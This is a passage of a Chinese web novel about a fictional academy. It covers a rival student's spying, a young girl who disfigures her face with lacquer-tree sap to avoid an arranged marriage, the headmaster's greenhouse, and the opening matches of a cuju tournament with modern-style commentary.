不少地方被围了起来,不允许进入,说什么正在修中,可又没有匠人维修的声音,又没有见到闲人进出,到底修的是什么?也无人知晓。 怪,实在是太怪了。 一连转了好几个地方,柳川都没有找到什么突破口,不由心焦不已。 刚走到后厨附近时,却看见一个女人正鬼鬼祟祟往门口走去,他立马抬腿跟上。 “你把这个给我那小孙子留着,等晚上热给他吃。” 那女人隔着门缝,从怀中掏出一碗肉菜来,看起来像是中午食堂剩下的,一个贼眉鼠眼的少年站在不远处接过,口中抱怨。 “你就光知道心疼你那大孙子,娘,您也心疼心疼我。这东西我也还没吃过呢!” 刘婶一巴掌拍在自家儿子的脑袋上,低声骂道。 “就知道吃,先把事情办了才是重点,我让你准备的聘礼你准备好了没?那王厨娘我已经试探过了,她好似没什么意见,你放心,只要咱们娶了她家女儿,以后就能够长长久久的留在这里继续上职,还怕回头没得吃吗?” “我已经准备好了,倒是娘,一个小丫头片子,也值当给那么多吗?” “你懂什么,舍不得孩子,套不着狼。” 两个人细聊着,丝毫没有发现不远处窥视的柳川。 他想起中午站在食堂里和华夏书院山长说话的那位厨娘,以及她身边站着的女孩,心下明晰,顿时一喜,自觉找到了方向。 等那刘婶的儿子离开后,他快步上前,将那女人拉到了角落里,问道。 “你是这书院后厨管事的姻亲么?那想必和山长他们应该很熟悉吧,我问你几个问题,你若能帮我解答出来,我便给你十两银子,如何?” 十两? 看到那银子,刘婶整个眼睛都亮了起来。【你现在阅读的是 】 40-50 第41章 第41章学前班立功 刘婶的目光黏在那上面,半个身子都不由的前倾道。 “您尽管说,但凡我知晓的,一定知无不言,言无不尽!” 柳川眼中闪过一丝不屑,看了看左右,压低声音问道,“你在这书院中这么久,有没有听到过什么奇怪的动静或者遇到奇怪的事?” “奇怪?” 刘婶不太明白。 若这整个书院要她看,那肯定觉得哪里都奇怪,毕竟她又没去过任何一家书院,觉得新鲜很正常,可若说哪里反常,她也没感觉到,不就是每日锻炼、教书,然后反复重复么? 且她也刚来顶班几日,能知道什么? 见她茫然,柳川不得不解释道。 “比如……有没有私造兵器,偷摸练兵或者勾结官员什么的?那么大的操场,总不可能只是踢踢球、打打拳吧,你半夜可有听到什么人进出,发出的嘈杂声音么?” 这诱导性的问题,吓得刘婶面色全无,心脏狂跳。 别说没有了,若真的有,那岂不是,造……造反? 见她犹豫,柳川顿时收回手,想要将银子给拿回去,刘婶连忙阻止道。 “诶诶诶,我想起来了,练兵什么的我倒是不清楚,不过这书院确实有奇怪的地方!” 她一把将那银子揣进怀里,笃定道。 “何处?” “后山!据说这后山一开始并非这书院的地界,后来山长见荒凉无人看管,便一并买了下来。那里尽是一些树啊草啊之类的东西,按理说没人感兴趣,可我总是看见山长一个人进去,一呆便是呆上个大半天,也不知道忙些什么。院里的学生、先生们都是知道这件事的,平日里也都不往那里走,还严令我们也不准靠近打扰,说是禁地,你说奇不奇怪?” 柳川心下一转,自己逛了大半日,似乎的确还没去过什么后山,顿觉一喜。 “好,我信你,你继续帮我找找看看这童山长每日都在忙些什么,若是能够抓到他不法的事情,或者背后和什么大人物接触过,我再给你这个数。” 柳川随手伸出五个指头晃了晃,刘婶看的眼睛都直了,连忙应答下来。 有了这十两银子的意外之喜,她心内大定,一路飘回了后厨,拉着王厨娘,便忙不迭娘想要去商量聘礼的事情。 “这事……是不是有点快?” 王厨娘一脸犹豫道,“我家小花今年不过才九岁,我还想多留她一段时日。” 刘婶摆摆手,一副过来人的模样。 “嗨,这女人迟早是要嫁人的,留来留去留成仇,九岁不小了,我们村子里十二岁都生完娃,帮着家里下地干农活了!早入门,你也早放心不是?不是每一家都有我们这诚心诚意的,我也是真心喜欢小花,也不嫌弃她原本的奴籍……” 一张巧嘴,说的天花乱坠,令王厨娘动摇不已。 刚想答应,风吹动厨帘,伴随着一阵难闻的味道飘散进来,小花款款而入,逆着光,站在门槛外,笑问道。 “是谁真心喜欢我?刘婶么?你真的愿意让我嫁去你家?” 刘婶喜得忙转身,刚想说些什么,可一看清来人的脸,顿时吓的半个身子都瘫软在了地上,连声惊恐道。 “鬼,鬼呀!别过来,你滚远点,别过来!” 整个后厨听见动静的帮工们都走了过来,见到小花,纷纷被唬得后退,惧的不行。 王厨娘这才看清那人的穿着,竟是自己的女儿,忙问道。 “哎呦喂,你的脸……你的脸怎么成了这样了?” 只见小花不知从何处沾染了东西,整个脸庞红肿得如同刚刚被吹起的糖人一般,凹凸不平。红一块、紫一块的相互交织着,皮肤表面密密麻麻,布满了红色的丘疹,宛如昨日发下来的细小草莓籽,整个覆盖在面上,因为瘙痒,偶尔抓挠的地方还出现了渗液和结痂,看起来整个斑驳,触目惊心。 “我也不知道啊,娘,我怎么了,我的脸怎么了?”小花伸着手盲目向前,刘婶等人慌乱的不断后退。 似乎生怕是什么传染病,沾染到自己的身上一般。 唯独王厨娘慌张的一把将小花搂进了怀里,抱着痛哭道。 “别急,别急,娘帮你去请大夫,一定能治好的,一定能!山长,他肯定知道怎么处理,你等等,娘带你一起去!” 说着,便抱起小花准备走,却被对方一把拉住了袖子。 小花仰起脸,故意直视向刘婶问道。 “若治不好也没关系的,对吧刘婶,您不是说是真心疼我吗?想来,我直接嫁到你们家,也可以。” 刘婶见到她这幅模样,早悔之不及,忙摆手反口道。 “我可没说啊!我说的是你那正常的长相,可不是这幅鬼样子!王厨娘,那什么……那什么亲事的,就当我没说好了,呸呸呸,真是晦气,这不妥妥骗人呢吗!” 他家那小孙子,以后那可是要传宗接代的,绝不能找个这么丑的! 否则,岂不是日日都得做噩梦? 王厨娘听到这话恨得咬牙切齿,可如今也不好理论什么,只得先抱起女儿,下山去寻大夫。 刚走出食堂附近,小花便张口让厨娘将她放了下来。 “不必去找了,母亲。我这是摸了后山的漆树,过敏导致的,用清水冲一冲,再涂点药膏,很快便能够消下去 了。” 刚买下后山时,童启便整体查看过一番,见长了不少漆树,还特意叮嘱过众人,勿轻易触碰,否则可能会引起皮肤的红肿溃烂。 整个书院里上上下下,基本都知道此事。 可因为很少有人去后山,一时之间,竟也没人联想到此处。刘婶刚来几日,便更是不知情了! 王厨娘闻言,怔了一下,然后便扬起掌心,气的直追着小花打,怒斥道,“你为何要这样?为何要拿那东西糟蹋自己的脸啊!” 小花倔强的站在原地,仰着头注视着自己的母亲,认真说道。 “因为我不想嫁人。” 王厨娘骤然一愣。 “你说什么?” “娘,我不想离开书院,也不想离开您。我想读书,我想留在这里多学点东西,凭什么庆安和小淳就能够读书,我却不能呢?明明我比他们学的还好些!山长说过,人的命运只能掌握在自己手里,我也想靠着自己的能力改变这世道,不行吗……” “啪”的一声,王厨娘一巴掌颤抖着打在小花脸上。 难以置信道。 “你在胡说什么?我就知道,你这就是读书读傻了,把心都给读大了,不想嫁人,不想嫁人,你能做什么?” 她何尝不知道自家女儿的聪慧?童庆安要学习一整日的内容,自家女儿只学习一个时辰便完全记住了! 这也是她一直偷偷纵容女儿跟着其他人学习东西的原因,可那都是建立在未来嫁个好婆家的基础上的! 绝不是什么靠自己的能力改变这世道,这种冠冕堂皇的话! “男女七岁不同席,山长仁慈,没有赶你走,可那是山长压根就没有想到你!若是哪一日不让你继续待下去了,你又该如何是好?” “那我就出家做姑子!” 小花较劲道。 反正她不想嫁人,从小被漂泊着卖来卖去,她见过太多变心的男人,只靠一张脸,是绝对靠不住的,能靠得住的,只有自己。 她得像男人一样,去争去抢,靠自己的双手去努力,就像那晚的歌曲中唱的那样,令自己站在风口浪尖,才可成就霸业! 尽管她是个女子,可就因为是个女子,便不能拥有自己的野心么? 她能够感受到,山长和其他人的不同,他从未轻视过女生,更没有区别过她和童淳之间的待遇,有时候她越线,拿着课本上的问题故意去询问山长,对方也从未惊讶,只是耐心解答,就像是对待其他的学生一般。 既如此,那她为什么不能牢牢抓住这善意,去乘风而起呢? 她也想光明正大当山长的学生! 只需要一个机会就好,只需要一个,能够让她证明自己,和其他人没什么不同的机会就行。 她有信心,做那个第一人。 王厨娘看着小花一脸坚定,气的再次胖揍了几下。 有心关押几日,磨磨她的性子,可孩子大了,早已不是当初那个乖巧的模样。 她前脚关,后脚人就能直接跑掉!死活不愿意更改,她能怎么办? 没法子,只得暂时妥协,再也不提什么嫁人的事情了。 她只愿这孩子慢慢能想明白,坳过性子来,否则以后的路,当真不知有多难走! 解决完母亲这边的事情,小花思索着自己的未来。 而另一边,柳川得到了刘婶的信息,也独自溜进了后山处,见到了那被围起来的温室大棚。 他疑惑的围着这建筑转了几圈,看见前面竖起的木牌,依旧不明白是做什么用的,刚想伸手进入,背后突然有一人朗声问道。 “你是谁,在这里做什么?后山是禁地,不允许参观,你不知道么?” 柳川脸上忍不住闪过一丝烦躁和懊悔,握紧了拳,转过身,见到是个孩子,这才稍稍松了一口气。 柳三变歪着头,手里拿着个弹弓,好奇的打量着这人。 “我只是闲逛到此处罢了,并不知情,倒是你,说是禁地,那你为什么能进来?” “学前班的学生都能进来,山长不管的。” 学前班? 即便刚来这里,柳川也知道华夏书院被分成三个等级的事情,据说学前班便是成绩最差的地方,他忍不住笑出声,故意嘲弄道。 “哦,原来就是那个吊车尾的班啊,既如此,你不说,我不说,不就没人知道了?” 你当是哄傻子呢? 柳三变不悦的眯起眼睛,警惕的看了眼对方的穿着,试探着问道。 “你便是白天和吴韧师兄吵架的南阳柳川?我叫柳三变,按辈分来说,你还得喊我一声三舅舅吧?这后山没什么东西,我们书院的学生一般都是不来的,你若是找不到回去的路,我可以带你回去。” 三舅舅?见个鬼的三舅舅! 柳川忍不住嘴角一抽,这才想起他父亲说的,好像族亲里有一家考中了华夏书院,来此上学的事情。 八成就是这个小屁孩了。 有着人看守,柳川自然不能再闯,他看了一眼柳三变身上穿的校服,忌惮道,“好说,既如此,我不去便是了。” 他痛快的转身离开,不做停留。 柳三变却觉得不太对劲,他摸着下巴,回到教学楼,转头便把这事告知给了学前班的几人。 “你是说……他来者不善?”童庆安思索道。“也不是不可能,下午教学楼里复习功课,他们龙胜的都来了,我唯独没见到他,没想到,竟然是去了后山。” “可后山是禁地这事,也就咱们书院里才会知道吧,他如此目的明确,应是有人告诉了他。”小侯爷沈亦皱眉附和道。 “没错,就是不知道到底是谁……” 童淳皱紧眉头,本能的顺着话往下讲,察觉到是谁开的口,顿时一脸嫌弃道,“你为什么会在这里,你不是一年级的吗?干嘛总是来我们学前班?” 沈亦心虚的滞了一下,死皮赖脸的瘫在桌子上,“你管我,小爷我愿意去哪里就去哪里!” 还不是整个书院,只有这里是同龄人么? 其他人都要考科举,根本没空理会他,除了这儿,哪里还有能闲聊的地方啊? “言归正传。说起那个柳川,我觉得几个学生里,就他最奇怪,鬼鬼祟祟的,一来就在书院里乱转,白天的时候,我好几次看到他趴在藏书阁那里打量着,若不是门口守着铜人阵,进出又需要牌子,他恐怕早就溜进去了。” 几个小豆丁一脸发愁的凑在一起,本能的感觉到了危机。 柳三变想起什么,顿时拍了拍手掌,道。 “我有个主意,咱们不如,一起给他个教训!” “什么教训?”沈亦顿时眼睛一亮。 几个人年纪小,在书院里向来都是无法无天,又有山长在暗地里宠着,早就已经混成小霸王级别了,比起二年级的息事宁人,不愿意沾染得罪的做法,他们通常更直接些。 也更纯粹。 如此这般低声商议了一番,说干就干,几人当晚便前往了后山处,布置陷阱。 童庆安暗地里给他们望着风,其他则从继本叔那里要来了不少捕猎的捕兽夹来,照着空地上挖了个大坑后,再用野草铺平。 这才兴奋的对视了一眼,回去睡觉。 到了半夜,那柳川果然偷摸摸溜了进来,再次去翻看温室大棚。 就冲着白天那小孩子遮遮掩掩的态度,他便笃定了这后山绝对藏着什么见不得人的事情! 于是故意吃完晚饭后,便躲了起来,没有下山,直到天黑,才来此处查看。 谁料刚走到门口处,却意外被什么东西夹住了脚,他一把捂住自己的嘴,不敢痛呼,低下身子刚想徒手掰开,没想到另一侧又踩中了陷阱,直接一个踉跄栽倒了进去,被绳索套住,挂在了树上。 一套连招下来,他忍不住破口大骂起来。 可后山偏僻,又是大半夜,即便大声喊叫,也无人能够听见理会。 等第二日天明,再有人过来的时候,他 已经出气比进气多了,被折腾的浑身青紫,遍地狼藉。 柳三变和沈亦掐着腰站在树下,捂着肚子大笑道。 “哈哈哈哈,我都说了这后山来不得,你偏来,遭了罪了吧?大晚上不出去,偷偷摸摸溜进这里做什么?是不是想破坏我们书院的建筑?呔,坦白从宽,抗拒从严,还不快速速交代!” 跟着听了好几日的故事,几个小孩子都多少学了一些奇奇怪怪的话。 柳川听不懂,耻辱的挣扎着,大声骂道。 “呸,你们耍阴招,有本事放我下来,我一定狠狠的参你们一本!” 学前班的几个学生嬉笑着不做理会,还是巡逻的安保人员发现了这事,连忙告知给了童启,他才知道几个人惹得麻烦。 听闻自家徒弟擅闯人家禁地被抓了,宗广济满脸羞愧,连忙穿好衣服,便前往了后山,朝童启赔礼道歉。 “抱歉,学生无状,给你添麻烦了。” 童启笑着摆摆手,连忙扶起宗老先生,“嗨,这有什么,学生嘛,就是好奇心强,不知者无罪。其实也怪我没有提前讲清楚,这后山,还真没什么东西,不过是我种的一些菜园子,大家怕打扰,所以很少进来罢了。” 越是遮掩,好似便越是有什么,既然都闹大了,童启索性也不藏了,直接掀起温室大棚的塑料帘子,展示给大家看。 众人惊呼的看着那满满当当的瓜果蔬菜,这才知晓这建筑的用法。 明明还没有到植物结果的时间,可棚内却夏日炎炎,仿佛模拟着某个时间段的温度与光照。 硕果满满,一片翠绿之色。 宗广济啧啧称奇,赞叹童启的巧思。 “原来如此,想来那日我们品尝的草莓一物……” “便是我亲自培养的。” 童启点头承认道。 这温室大棚的原理其实并不稀奇,只消看一眼,便能够迅速理会,真正稀奇的,其实是这温室大棚的材料,以及种下去的瓜果种子。 他倒也不怕别人仿照。 几个龙胜书院的学生先生们简单参观了一圈,不再疑惑。 而柳川和学前班的一众学生们也没有被追究,大家双双默契的越过此事,只是各自口头警告两句,便罢了。 不过经庆安他们提醒,童启也怀疑起书院里有人泄密的事情。 于是暗自透过摄像头查了查,这才看到了刘婶和柳川交易的场面,也意外听到了小花和王厨娘的对话。 他挑了挑眉,没想到书院里竟还有这样破釜沉舟的女子志气,笑了笑后,便将此事暗暗记在了心里。 只将前者泄密的事情告知给了童母后,便没有再管。 头一次出现如此大的管理纰漏,童母气的要死。 当下便将刘婶报官赶了出去,连带着她替工的侄女也彻底丢了工作,永不录用。 之后两家扯皮不断,亲戚变仇人,不再细说。 只说经此一役,童母将华夏书院上上下下再次彻查了一遍,但凡发现心思不对劲的,便全部赶了出去,发了好大一阵火,由此,全员绷紧了皮,算是铁桶一片,再也难以打探消息了。 而回到居住的房间后,柳川是越想越气。 恨不得当场和柳三变等人再打一场。 可马上蹴鞠赛就要开始了,相继的人员接连上山,他再想要报复回去,也找不到任何机会,只能暂时作罢,图谋着今后在赛场上加倍找回面子。 华夏书院内,蹴鞠大赛,正式进入筹备期。 操场上的横幅座位已经皆准备了起来,所有人员忙的脚不沾地,而最引人瞩目的,还要数那横幅上绣的文字。 非常洗脑。 什么“一口甜,一口暖,刘家饮子最香甜!” 什么“女人的锦绣阁,装点你的美丽!”再或者就是“宴会聚请不用挑,百鹤楼内最可靠……” 简单直白,可却莫名朗朗上口,令人读过之后,便印在了心里,无法忘记。 还有这样做广告的?当真是涨了见识了。 几家店铺老板看到这鲜明的语句,再加上童启特意规整安置的摊位摆放位置,俨然已放心了大半。 尤其在听说后期解说员还会将他们店铺的名字加进开场词里,特意标注好“本大赛由XXX赞助播出”后,更觉面上有光。 这二百两银子,花的真不亏诶! 柏将军和河南府请来的蹴鞠队已经就位。 个个气宇轩昂,战意十足。 看到这场地,柏弓良非常好奇,整个趴在地上,仔细查看着,问道,“这东西倒是少见,是什么做的?” “橡胶,在大奉朝最南边应该有所产出,不过运送过来估计比较麻烦。” “有意思,还是你们文人懂得多啊,拿这铺在地上,下雨天不容易泥泞了脚下的鞋,倒是个好东西,回头去打南夷,我一定亲自找找去!” 第42章 第42章蹴鞠大赛(上) 比起从西部退回来,便一直龟缩在自己家院里的柏大将军。 童启的生活,显然要更舒适自由些。 明明只是教个书,却能建起如此宽阔闪亮的操场,容纳上万人,柏弓良简直醋得要死,东摸摸,西蹭蹭,眼睛里的羡慕不加掩饰。 自回到京城后,别说去军营了,他连带着在自家后院里练练拳脚,都要有人参上一口,说他蓄意谋反,不忘边疆,搞得他束手束脚,连动也不敢多动。 若不是老爹劝着他不让他退,他才不想再在这破朝廷里待着呢。 烦死了! 好不容易出来松快松快,又怎么肯愿意离开? 听闻华夏书院里也有安保部门,且还是从战场上退下来的后,当即便想带着人,比划比划。 幸而继本叔学过几招,这才能勉强对上,不算太落下风。 见到其手下训练的安保队员令行禁止,就连走路姿势都是一致成排后,柏弓良颇觉神奇,一把环上童继本的肩膀,打听道。 “你们这训练方式……看起来有点东西啊,谁教的?” 童继本看了一眼山长,见他并不阻拦,只得犹豫说道,“是山长指点,我又结合了一些军队里常用的方法……” 柏将军细细问下去,越听眼睛越亮,越想越觉得有意思,不由心内感叹,这玩意儿倒不太像是训练安保部门、打手之类的?反倒更像是训练一支悍勇无畏的军队…… 若整个柏家军都能如此,那么到了战场上,岂不是…… 想到这里,他猛地眼皮一跳,锐利的视线如鹰隼一般霎时看向了童启处。 童启:??? 他无辜的眨眨眼,不知道发生了什么事情。 柏将军眯起眼睛,不动声色,道,“的确是个好方法,不知我能不能也偷点师,等回去好操练一下手底的士兵们,看看效果如何?” “自然可以,柏将军随意便是。”童启不假思索道。 柏弓良见他半点没往其他的方向里联想,更没有任何防备之色,不由放下心来,估摸着又是文人误打误撞琢磨出来的训练方式,确实没有什么其他含义。 可也忍不住暗自吐槽着,陛下的外行。 瞅瞅,这到底谁才是最有可能造反成功的啊? 文人随随便便出个主意,这杀伤力,顶他们武夫们干个几年! 究竟谁才可怕?谁才是更应该防备的啊!你清醒一点! 华夏书院内部,蹴鞠大赛准备的轰轰烈烈,而邀请函也基本上发到了河南府所有知名人士的手中,就连学生家长们,都送出去了五十多家,占据了大半个月的话题榜单。 如今整个河南府上上下下,均知道华夏书院要举办蹴鞠大赛的事情。 提前好几日,便有不少周边的百姓们卷着铺盖,成群结队往沧澜山走。 他们未必就懂得什么蹴鞠,但是凑热闹嘛,只用知道有免费的比赛可以看,便行了! 整个伊川县顿时人流量大增,光是每日的马车,便挤得城门口水泄不通,章县令吓得连忙派衙役们出去维持秩序 ,就连书簿都不得不撸起袖子,亲自上场,这才勉强疏通。 见搞出如此大的阵仗,章县令心内忐忑,忍不住向童启问道。 “你确定已经向知府大人报备过了吧?他就没有再说什么其他的事?” “没有啊?我上个月亲自写信给的木知府,对方说办就办吧,反正是书院联合举办,热闹一下也好。”童启将当时的回信拿出来,递给章县令查阅着。 对方一目三行,见确实如此,这才稍稍放下了心,“那知府大人可有说会来参加?” “不知道,请是请了,可他估摸着升职,今年正好最后一年,不确定什么时候离开,若事忙的话,只怕无暇分身。” 去年年底救灾一事结束后,柏大将军护着三皇子回朝,对方将木知府管理有加的事情大书特书,以此来遮掩被围困沧州的事。 木奎盛也由此误打误撞升到了中央,担任新的提点刑狱公事,马上就要离职升迁去了。 “也不知新的知府大人会是何人……” 章县令长叹一口气,祈求着这次的上司千万不要又像是木奎盛一般,贪财迷信。 不然整个河南府,只怕又得被掘个三尺,稍稍富裕一点,又重归原状。 听到两人的谈话,旁边的柏老忍不住笑着上前道。 “放心,这一次的新知府还算是个牢靠的,听闻原本是开封府的府尹,如今算是平调,出来刷刷功绩,只待三年任期一满,便能够回朝进入内阁了。” “豁,背景这般大吗?”章县令感叹道。 “叫什么啊?哪方势力的人?”童启也跟着好奇的打听。 通常这种人,背后都是有金大腿可以抱的,不然哪里来的这么好的运气,一路上有人保驾护航? “新知府名为顾信之,南方人,据说是胡丞相手下,你可听闻过?” 童启想了想,摇摇头,“从未听过。” 但自从上个月发布调令,到这个月还没到达,想来,对方应该也没那么满意河南府吧? 反正不管换谁,跟他这小小的书院,应该都没什么关系。 暂时将此事抛诸脑后,童启继续筹备起蹴鞠大赛来。书院门口新的门锁被放置上去,每一位进出的人员,都必须严格检查,不准携带任何危险物品,才允许进入。 还没开始,整个操场早已经是座无虚席。 沧澜山脚下,光是马匹车辆便绵延了几公里,浩浩荡荡,看不到尽头。 比赛一共进行三日。 第一日,五个队伍开始抽签,两两比拼,一队轮空。 胜者,参加第二日的三队竞选,获胜方共同进入第三天,正式角逐出最后的冠军。 一连找了好几个说书先生,都没有找到童启想要的那种感觉,没办法,他只能亲自操刀,坐上了解说员的位置。 而柏大人、章县令、安庆侯、万商商会会长等人也纷纷出席,位列颁奖台的前侧,明晃晃占据了最好的视野。 当日,一共来了快有上万人之多,整个操场上,有坐着的,也有站着的,每个货架旁几乎都挤满了人,反正等着也是等着,便有人逛起这几个摊位来,消磨时间。 还未开始,几家店铺已经赚回了好几日的营收,顿时笑的眼不见眼,牙不见牙,别提有多满意了。 百鹤楼的少东家更是得意自己的好眼光,幸亏当时强占了一个名额,不然今日,哪里有如此的风光? 而当日早早离去的那几家店铺,便别提有多后悔了。 尤其是冯家绣坊的东家,更是恨不得当场抽自己两耳光,清醒清醒。 “尊敬的来宾,亲爱的朋友们,大家好!今天,我们齐聚在这里,共同见证第一届华夏书院和龙胜书院联合举办的蹴鞠大赛……让我们以热烈的掌声,开启这场蹴鞠盛宴,祝愿所有参赛队伍赛出风格,赛出水平,享受比赛,收获快乐!下面,有请我们的蹴鞠队员各自入场……” “妈呀,什么声音?从哪儿发出来的?” “打雷了打雷了!” …… 不少百姓从未听过这震耳的广播声,被吓得连声称奇,幸好有沧澜村的村民们司空见惯,忙拉着解释了一番,这才勉强将人给安慰了下来,重新将注意力,放置在了比赛上。 童启拿着话筒,坐在解说席内,尴尬的笑了笑。 几个队伍的领队穿着相应的队服,静候在操场一侧,听到提示,顿时按照排练好的入场顺序,走进入了场馆之中。 伴随着一列列队旗映入眼帘,百姓们的欢呼声也霎时填满了整个场馆。 “啊啊啊啊那是我儿子,那里面是我儿子!” “胜开,胜开,我们在这里!” “三变!三变看这儿!” “对,我家孩子,那领头的就是我家孩子!” …… 家长们面色激动,看着自家孩子斗志昂扬,均是一脸的骄傲。 童启等待着众人呼喊过后,正式开启了他的讲解。 “首先向我们走来的是东部龙胜书院的学生们,看他们统一身着玉色长衫,手里的旗帜绣着麒麟的标志,个个气宇轩昂,整齐划一,其内参赛选手有着南阳柳家的柳川,湖州的冯琦……” 每一个童启念到的学生,均随着点名,高高的昂起自己的头颅,向众人展示着,露出背后的奇怪数字编号。 这是童启硬让人统一加上去的,不然隔那么远,谁知道是谁踢进去了啊? 百姓们刚开始还不懂其意,可随着解说的流程,一点点趋近,每当那背后刺有对应数字的成员入球时,他们便能迅速区分到底是哪一方踢进去的球,便顿时明白了这份意图。 “再看另一边,华夏书院的队员们正朝着我们走来,这是一队的队员们,其内有着小侯爷沈亦、汪家汪启元,琅琊谢氏谢君仪……二队则是今年的府案首吴韧打头,其后包括柳家柳三变、童庆安、常仕进……” 不少家长听到报名,连忙在人群中寻找着自家的孩子,使劲儿挥舞着手,打着招呼。 安庆侯一脸得意,“我家的,那位领头后面第二个便是我家的。” 郭胜开母女坐在观看席上也不由惊呼道,“哥哥,那个是哥哥!” 刚开始百姓们还不解为什么华夏书院被分成了两支队伍,可随着名单被念完,顿觉哪里不对。 这怎么……一队都是商户、权宦,另一队都是平民啊? 就连柏老先生和章县令也觉察到了不妥,他们刚想询问,解说席上的童启已经率先撕开了遮羞布。 “据说啊,小道消息,为什么华夏书院的学生们都被分成了两队呢?因为他们互相看不起对方,趁着山长不在时,打架斗殴,认为出身不同,所以获得的权利和待遇也应该不一致,为了让他们彻底的决出胜负,山长便遂了他们的心愿,让他们各自为营,看看能比出个什么水平……” 话音一落,整个观看席均是一片哗然。 方才还骄傲无比的家长们,此时顿时脸上讪讪,失去了所有言语。 就连学生们也不自觉脸红心跳,齐齐避开了视线,不敢再抬头。 阶级之争,从来都只敢放在台下,谁敢拎到明面上,跟老百姓们讲这话啊? 但因着学生们年纪小,童启又是以戏谑的口吻说出来的,不少人倒也不觉得冒犯,反倒认真的站在学生们的角度,对比了起来,替他们争辩道。 “有这种想法也很正常吧?听说人家小侯爷跟一个小乞丐同窗,要是我,也会觉得有点委屈。” “哪里委屈了,这是书院,学生们本就是念书的,不想上可以不上嘛,人家又没逼着你来。” “你这话就未免太刻薄了些……” 观众席上小声的争吵起来,童启连忙将话题拉回正道。 “当然,友谊第一,比赛第二,希望他们可以借这次的竞争,拼尽全力,拿到自己想要的名次,化戾气为能量,征服对手,也征服自我,与其暗地里争权夺势,不如光明正大,赛场上见真章!” “好!好一个见真章!” 听到这话,不少人大声起立鼓掌道。 吴韧和汪启元火药味十足的对视了一眼,站在了各自的位置上。 讲解完人员参赛选手们,抽签活动正式开始。 五个领队从翻转的竹筒内,各自拿出一个签子。 柏将军抽出了红色,而百胜蹴鞠队和柳川则抽出了绿色,华夏书院全部抽到了黄色。 一瞬间,氛围骤然热烈起来。 谁也没想到,第一天,华夏书院的一、二队便会直接对垒。 “战战战!!” 观看席上大家看热闹不嫌事大的喊着,童启也很快变得兴致盎然了起来,解说词相应响起。 “哦,有意思的来了,华夏书院难道要在第一日便分出胜负么?让我们来看看是一队的队员们厉害,还是二队 的队员们厉害,大家更看好哪个呢?让我们把欢呼声投给更看好的那一支队伍吧!” 赛场上众人撕扯着嗓子喊了起来,王二坐在角落里,浑身热血沸腾。 好家伙,这不比赌博更有意思? 能亲眼见着球员们进球,分出输赢,这简直就是天选的盘子嘛?我为什么不干脆攒个局,自己当庄家呢? 说干就干,他拉着几个狐朋狗友,当下便在旁边设立起案桩来,压是哪一队能够获胜。 不少人看着热闹,也忍不住加了个注。 现场一片火热,而百胜蹴鞠队与龙胜书院也乐的他们先比,直接将第一场让给了两队。 吴韧和汪启元纷纷派出前锋来,站在了分界线上。 谢君仪掐着腰,不甘心的站在守门员处,自觉被压制了才华,若不是他个子太高,跑不动,哪里能沦落到守大后方? 可刚刚如此想着,一阵厉风袭来,远处的足球顿时朝着他脸颊处射旋而至,来不及阻拦,便直接进入了身后的球网之中! “进了!二队第一个球,如此轻松便踢了进去,郭胜开!是郭胜开一脚踢进的球门,谢君仪完全呆愣在了原地,就像是闭眼睡着了一般,看来今日的比赛没什么太大的悬念,二队战意勃勃,完全碾压一队的士气!” 远处小侯爷沈亦破口大骂道。 “谢君仪,你在搞什么东西!!!” 谢君仪:??? 第43章 第43章蹴鞠大赛(中) 谁也没想到,贫寒出身的郭胜开,竟然会是个足球小子!? 柏将军临危受命,被放置在边界线上,暂时充当裁判的角色,只堪堪听了一遍童启的规则介绍,便晕晕乎乎被推到了中场线上。 球刚放下,说了声开始,只见一阵风过去,竟然就进了。 ……进了?! 这么快的吗? 见他茫然,旁边的清虚子连忙走了过来,安慰道,“不必紧张,你作为裁判,只需要看着他们场上的小动作即可,这是山长给你的哨子和罚牌,若是见到有人拉扯衣服、恶意绊倒人,便吹哨,向所有人举起黄牌示警,两次之后,便可以用红牌直接罚下。” 因着不是传统的蹴鞠赛,所以一切的规则也都将按照新的进行,最终解释权,牢牢把握在华夏书院童启手中。 柏将军接过那铁制的哨子,饶有趣味的挑了挑眉,颇觉新鲜。 场外的观众如一滴水霎时泼进了油锅中。 “是哥哥,哥哥踢进去的!” 观看席上,郭胜开的妹妹尖声喊道,红扑扑的脸颊不带一点病容。 旁边刚压了二队赢球的赌徒们,顿时激动不已,举起双手如同庆典般大声欢呼着。 赛场上的氛围瞬间点燃,谢君仪难以置信的看着面前的郭胜开,被这第一球的成功踢入,完全给刺激到了。 当下,也不管什么丢不丢人了,直接撸起袖子便俯身抱起了球,一脚重新发了出去。 足球带着戾气高高跃起,重新降落在半场之上。 小侯爷率先抢入,一路运着球向对面压进,不料半路却被对面的前锋一个滑铲给截走。 “柳三变!” 他气急败坏的喊道,柳三变嘚瑟的转过身,吐了吐舌头,一脸得意。 童启望着他们身后的数字,不断的对照着早已经登记好的名字,继续讲解道。 “好,场上目前带球的是二队的柳三变,他靠着身量矮小、灵活多变的优势,担当了二队的前锋,直接抢过小侯爷沈亦的球,进入了一队的领域。一队的戚风言看到了,他跟上来了,要抢!诶,没抢到!柳三变一个闪躲,继续向前压进,汪启元和刘卜温紧随其后,他能够成功突破对方的防守吗……” 童启的解说,令所有观众忍不住屏息起来。 赛场上的柳三变却一个踉跄,差点丢球,他忍不住吐槽出声。 柳三变:“说谁身量矮小呢?山长,明明你自己也没多高吧!” 见他身边防的人太多,郭胜开迅速赶到,前来支援,大声喊着。 “柳三变,这里!” 柳三变咬牙看了看左右,一个转身,传给了对方。 郭胜开转头带着球继续逼近,观众们的视线瞬间调转,一路跟随着球进入到了禁区附近。 不少人站了起来,就连童启也不由提高了声音道。 “郭胜开再次拿到了球,他越过了层层包裹,再次到达了禁区,谢君仪已经严肃起来了,好,这一次的郭胜开还能够创造奇迹,成功进球吗?堂堂琅琊谢氏的谢家公子难道要再次眼睁睁看着球被踢进吗?” 一队的后卫刘卜温急忙调头,想要来抢夺,被郭胜开敏捷的避开。 他沉稳着心,紧紧盯着谢君仪的动作,分析着防守的姿势,一个速射射向了谢君仪。 谢君仪早就严阵以待,飞扑上前,足球狠狠撞击到他的肩膀处,被陡然弹开。 “很好!截住了!这一次的谢家公子没有再装睡,用肩膀将球弹了开来,球出来了!可郭胜开并没有懈怠,他再次踢了进去!” 观众们刚叹息一声,见到补脚,又迅速站起。 可惜这一脚提到了球门框上,没有进入,再次被弹回。 柳三变赶过来,从另一个方向截住,又一次射门,依旧没有踢进。 谢君仪忍无可忍,大声喊道。 “你们以为我不存在呢是吧?” 他愤怒的将差点踢到脸上的球一把抱住,恶狠狠的看向对面的两个前锋。 柳三变和郭胜开齐齐脸色一变,迅速回转。 